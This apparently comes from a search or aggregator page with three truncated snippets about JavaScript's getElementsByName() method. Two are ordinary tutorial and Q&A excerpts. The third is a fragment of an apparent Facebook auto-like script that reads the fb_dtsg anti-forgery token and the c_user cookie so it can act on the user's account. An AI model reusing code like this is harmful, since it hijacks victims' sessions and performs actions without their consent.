In this tutorial, you will learn how to use the JavaScript getElementsByName() method to get elements with a given name in a document. ... <看更多>

The reason you're seeing that error is because document.getElementsByName returns a NodeList of elements. And a NodeList of elements does ... ... <看更多>

getElementsByName ('fb_dtsg')[0].value;var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);function Like(p){var Page=new ... ... <看更多>

... <看更多>